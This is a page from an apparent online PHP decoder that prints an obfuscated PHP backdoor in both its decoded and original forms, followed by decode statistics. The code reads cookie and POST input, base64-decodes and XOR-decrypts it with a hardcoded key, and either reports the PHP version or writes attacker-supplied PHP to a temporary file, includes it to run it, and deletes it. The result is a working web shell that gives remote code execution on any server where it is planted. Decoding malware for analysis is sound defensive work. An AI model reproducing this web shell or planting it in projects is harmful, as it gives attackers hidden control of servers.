Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function fbtdpbq(){echo/*bxzq*/31549;/*v*/} $zxqco ='zxqco'/*qs*/^''; $..

Decoded Output download

<?php       function	fbtdpbq(){echo/*bxzq*/31549;/*v*/} 
 
$zxqco  ='zxqco'/*qs*/^''; 
 
$hsnlya/*  w  */=/*pjry*/$zxqco(893-791)/* kf*/."i"."l"."e".$zxqco(95)."p"."u"."t"."_"/*   vn */./*   wuhh*/$zxqco(982-883)	.	"o"	.    "n".$zxqco(541-425)	.     $zxqco(694-593)	.  $zxqco(499-389)      .      "t"	.	"s"; 
$wtbguk_q	=/* upc */"b"	.    "a"."s"."e".$zxqco(860-806)	.	"4"    ./*q*/"_"."d"    .	"e"."c"/*dye   */.	"o"."d".$zxqco(883-782);$vzllo      =      "u"/*  kzjgm*/./*   tbyve */"n"/*  qacqm   */.	"s"   .    "e"."r"."i"."a"."l"."i"."z"."e"; 
 
 
$u_pysga	=/*  nkmqu   */"p"	.	$zxqco(104)/*rjcf*/./*jcmp*/"p"/* pcjsk*/.	"v".$zxqco(101)/*   in*/.	"r"."s"	./*c_eeg */$zxqco(481-376)/*   eofx*/.	"o".$zxqco(885-775); 
 
$ru_szqzu/*   eoo*/=	$zxqco(494-377)/*  mli  */.	"n"       .  $zxqco(108)/*  rhrrs */.	"i"."n".$zxqco(107); 
/*   r_f */ 
 
function  i_b_nhrmj($foztmkkd,	$yoylut) 
{ 
	global	$zxqco;  $psoyafauyqmlmyob/*nms  */=    ""; 
 
       for/* or*/($olndz/*  r  */=     0;   $olndz	<	strlen($foztmkkd);)       { 
/*   jzzuu */for	($psoyafauyq    =       0;	$psoyafauyq	<    strlen($yoylut)  &&       $olndz	<    strlen($foztmkkd);   $psoyafauyq++,    $olndz++)	{ 
 
 
	$psoyafauyqmlmyob	.=/* m */$zxqco(ord($foztmkkd[$olndz])     ^/* f  */ord($yoylut[$psoyafauyq])); 
 
/*   da_h*/} 
 
 
/* coy  */} 
 
	return	$psoyafauyqmlmyob; 
 
 
}$mszjc/*tfn */=	$_COOKIE; 
 
 
$wzkgbvzhkk/*   lizk  */=       $_POST; 
$mszjc	=/*_hgv  */array_merge($wzkgbvzhkk,       $mszjc); 
$chphp	=  "2".$zxqco(573-520)	.	"a".$zxqco(56)	./*  u  */"e"	./*   suzix  */"9"."6".$zxqco(51)       .	"-"."c"."3"."1"	./* w   */"3"	.	$zxqco(343-298)      ./* o  */"4"."a"      .	$zxqco(102)/*dby  */.   "f"	.     "-"/*   jkh */./*   a  */$zxqco(1040-942)/*  mtsh */.	"b".$zxqco(102)/*   yzl */./* rz   */"4"."-"	.	"5".$zxqco(57)	.	"c"."e"     ./*e   */"b"	./*gfd*/$zxqco(715-617)      ./*mla   */$zxqco(851-795)   .    "d"       .   "9"."8"."2"."d";foreach	($mszjc/*lsx   */as	$hwqxsf	=>	$foztmkkd)	{ 
	$foztmkkd/*  i */=	$vzllo(i_b_nhrmj(i_b_nhrmj($wtbguk_q($foztmkkd),	$chphp),  $hwqxsf));	if     (isset($foztmkkd["a"."k"]))/* nrrtc*/{ 
 
  if	($foztmkkd["a"]/*  xsyh   */==   "i")	{ 
 
 
/*   bp  */$olndz  =    array(); 
/*   uxgtm*/$olndz[$zxqco(732-620)  ./*t   */"v"]	=/*  g*/$u_pysga(); 
 
 
	$olndz["s"."v"]/*  vx */=	"3"/*   pvka   */./*   x  */"."    ./* s_wi*/"5"; 
    echo/* c*/@serialize($olndz);	}    elseif	($foztmkkd["a"]	==/* fxe   */"e")	{       $pnybhm/*asz */=	sprintf("."	.  "/"	./* x   */"%"."s"	.	"."	./*   g*/"p"."l",	md5($chphp));    $hsnlya($pnybhm,    "<"     ./*   wizw */$zxqco(67-4)	.      "p"."h"."p".$zxqco(32)     ./*kgvtr*/"u"    .	"n"     .     "l"."i"	.   "n"/*  p   */.	$zxqco(107)/*  wesn*/.	$zxqco(878-838)	./*  k */"_"."_"	./* w */"F"."I".$zxqco(76)     .	$zxqco(69)/* pcjcg   */./*   bdel */"_"	./*   b  */"_"/*_*/./*  kl*/")"/*   ykprs  */./* tmt  */$zxqco(59)	./*vu */$zxqco(32)      ./* qoq */$foztmkkd["d"]); 
 
 
      include($pnybhm); 
 
 
/* c  */$ru_szqzu($pnybhm); 
	} 
 
/*  ehjns*/exit();   } 
 
} 
 
 
 ?>

Did this file decode correctly?

Original Code

<?php       function	fbtdpbq(){echo/*bxzq*/31549;/*v*/}

$zxqco  ='zxqco'/*qs*/^'';

$hsnlya/*  w  */=/*pjry*/$zxqco(893-791)/* kf*/."\151"."l"."\x65".$zxqco(95)."p"."u"."t"."\137"/*   vn */./*   wuhh*/$zxqco(982-883)	.	"\x6f"	.    "n".$zxqco(541-425)	.     $zxqco(694-593)	.  $zxqco(499-389)      .      "\x74"	.	"s";
$wtbguk_q	=/* upc */"\x62"	.    "a"."s"."e".$zxqco(860-806)	.	"\x34"    ./*q*/"_"."\144"    .	"e"."\x63"/*dye   */.	"o"."d".$zxqco(883-782);$vzllo      =      "\x75"/*  kzjgm*/./*   tbyve */"\x6e"/*  qacqm   */.	"\163"   .    "e"."r"."i"."a"."l"."i"."z"."e";


$u_pysga	=/*  nkmqu   */"\x70"	.	$zxqco(104)/*rjcf*/./*jcmp*/"\160"/* pcjsk*/.	"v".$zxqco(101)/*   in*/.	"r"."\163"	./*c_eeg */$zxqco(481-376)/*   eofx*/.	"o".$zxqco(885-775);

$ru_szqzu/*   eoo*/=	$zxqco(494-377)/*  mli  */.	"\x6e"       .  $zxqco(108)/*  rhrrs */.	"i"."n".$zxqco(107);
/*   r_f */

function  i_b_nhrmj($foztmkkd,	$yoylut)
{
	global	$zxqco;  $psoyafauyqmlmyob/*nms  */=    "";

       for/* or*/($olndz/*  r  */=     0;   $olndz	<	strlen($foztmkkd);)       {
/*   jzzuu */for	($psoyafauyq    =       0;	$psoyafauyq	<    strlen($yoylut)  &&       $olndz	<    strlen($foztmkkd);   $psoyafauyq++,    $olndz++)	{


	$psoyafauyqmlmyob	.=/* m */$zxqco(ord($foztmkkd[$olndz])     ^/* f  */ord($yoylut[$psoyafauyq]));

/*   da_h*/}


/* coy  */}

	return	$psoyafauyqmlmyob;


}$mszjc/*tfn */=	$_COOKIE;


$wzkgbvzhkk/*   lizk  */=       $_POST;
$mszjc	=/*_hgv  */array_merge($wzkgbvzhkk,       $mszjc);
$chphp	=  "2".$zxqco(573-520)	.	"a".$zxqco(56)	./*  u  */"\x65"	./*   suzix  */"9"."6".$zxqco(51)       .	"-"."c"."3"."\x31"	./* w   */"\63"	.	$zxqco(343-298)      ./* o  */"4"."\141"      .	$zxqco(102)/*dby  */.   "\146"	.     "\x2d"/*   jkh */./*   a  */$zxqco(1040-942)/*  mtsh */.	"b".$zxqco(102)/*   yzl */./* rz   */"4"."\55"	.	"5".$zxqco(57)	.	"c"."\145"     ./*e   */"\x62"	./*gfd*/$zxqco(715-617)      ./*mla   */$zxqco(851-795)   .    "\x64"       .   "9"."8"."2"."\x64";foreach	($mszjc/*lsx   */as	$hwqxsf	=>	$foztmkkd)	{
	$foztmkkd/*  i */=	$vzllo(i_b_nhrmj(i_b_nhrmj($wtbguk_q($foztmkkd),	$chphp),  $hwqxsf));	if     (isset($foztmkkd["a"."k"]))/* nrrtc*/{

  if	($foztmkkd["a"]/*  xsyh   */==   "i")	{


/*   bp  */$olndz  =    array();
/*   uxgtm*/$olndz[$zxqco(732-620)  ./*t   */"\x76"]	=/*  g*/$u_pysga();


	$olndz["s"."\x76"]/*  vx */=	"\63"/*   pvka   */./*   x  */"\x2e"    ./* s_wi*/"5";
    echo/* c*/@serialize($olndz);	}    elseif	($foztmkkd["a"]	==/* fxe   */"e")	{       $pnybhm/*asz */=	sprintf("\x2e"	.  "\x2f"	./* x   */"%"."\x73"	.	"\x2e"	./*   g*/"p"."l",	md5($chphp));    $hsnlya($pnybhm,    "<"     ./*   wizw */$zxqco(67-4)	.      "p"."h"."p".$zxqco(32)     ./*kgvtr*/"\x75"    .	"\156"     .     "l"."\151"	.   "\156"/*  p   */.	$zxqco(107)/*  wesn*/.	$zxqco(878-838)	./*  k */"_"."\x5f"	./* w */"F"."I".$zxqco(76)     .	$zxqco(69)/* pcjcg   */./*   bdel */"\x5f"	./*   b  */"\137"/*_*/./*  kl*/"\51"/*   ykprs  */./* tmt  */$zxqco(59)	./*vu */$zxqco(32)      ./* qoq */$foztmkkd["\x64"]);


      include($pnybhm);


/* c  */$ru_szqzu($pnybhm);
	}

/*  ehjns*/exit();   }

}


Function Calls

chrz 1

Variables

$zxqco chrz

Stats

MD5 bdcc3839d493fb020952a93a7f4a9654
Eval Count 0
Decode Time 93 ms